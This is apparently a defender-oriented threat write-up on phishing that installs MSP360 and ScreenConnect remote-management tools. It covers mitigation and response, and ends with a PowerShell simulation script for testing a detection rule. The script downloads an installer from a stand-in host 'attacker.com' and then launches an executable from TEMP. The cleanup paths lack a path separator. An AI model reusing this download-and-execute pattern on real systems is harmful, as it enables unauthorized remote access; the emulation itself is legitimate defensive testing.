Phishing Abuses RMM Tools for Persistent Access

Summary

Threat actors are leveraging phishing campaigns to deliver a legitimate MSP360 RMM installer disguised as trusted software. Once launched, the installer establishes persistence and subsequently downloads and deploys ConnectWise ScreenConnect, providing attackers with an additional remote access channel. This enables further post-compromise activities, including credential theft and sensitive data collection.

Investigation

Microsoft Defender Experts identified multiple phishing lures impersonating Zoom, Adobe, and legitimate meeting invitations to distribute MSP360 v2.5.0.67. Researchers reconstructed the infection chain, tracing initial user execution and UAC elevation through service installation and the deployment of secondary RMM tools. The investigation also revealed that attackers abuse trusted cloud platforms, including Amazon S3 and Dropbox, to host malicious payloads.

Mitigation

Organizations should strictly control approved RMM tools by enforcing MFA and implementing Application Control policies to prevent unauthorized installations. Certificate-based blocking rules can further restrict specific signed applications. Strengthening endpoint defenses through cloud-delivered antivirus protection and Attack Surface Reduction rules is also essential to reduce exposure.

Response

When unauthorized RMM installations are discovered, security teams should immediately reset credentials associated with the affected service installations. Suspected compromise of system-level accounts requires a comprehensive investigation to determine the full attack scope. Review endpoint detection logs to identify suspicious remote-management sessions and related post-compromise activity.

Simulation Execution

• Attack Narrative & Commands: An adversary initiates a spearphishing campaign. The victim clicks a link that triggers a PowerShell one-liner. This command uses Invoke-WebRequest to download ClientSetup.msi (simulating the ScreenConnect installer) from a remote server. Once downloaded, the attacker executes the MSI, and the final step of the simulation involves launching ScreenConnect.WindowsClient.exe to mimic the established remote access session. This sequence is designed to trigger the selection_2 AND selection_3 logic of the rule.

• Regression Test Script:

  # Simulation of Phishing-based RMM Deployment
  $tempDir = $env:TEMP
  $msiName = "ClientSetup.msi"
  $exeName = "ScreenConnect.WindowsClient.exe"
  $msiPath = Join-Path $tempDir $msiName
  $exePath = Join-Path $tempDir $exeName
  
  # 1. Simulate the PowerShell Download (Selection 2 part A)
  Write-Host "[+] Simulating PowerShell download of MSI..."
  # Using a dummy file to simulate the MSI download
  New-Item -Path $msiPath -ItemType File -Force
  
  # This command matches the rule's 'Invoke-WebRequest' and 'ClientSetup.msi' logic
  powershell.exe -Command "Invoke-WebRequest -Uri 'http://attacker.com/ClientSetup.msi' -OutFile '$msiPath'"
  
  # 2. Create a dummy executable to simulate the ScreenConnect client (Selection 3)
  Write-Host "[+] Creating dummy ScreenConnect executable..."
  New-Item -Path $exePath -ItemType File -Force
  
  # 3. Execute the client (Selection 3 and completion of Selection 2)
  Write-Host "[+] Executing ScreenConnect Client..."
  Start-Process -FilePath $exePath

• Cleanup Commands:

  # Cleanup simulation artifacts
  Remove-Item -Path "$env:TEMPClientSetup.msi" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPScreenConnect.WindowsClient.exe" -Force -ErrorAction SilentlyContinue
  Write-Host "[+] Cleanup complete."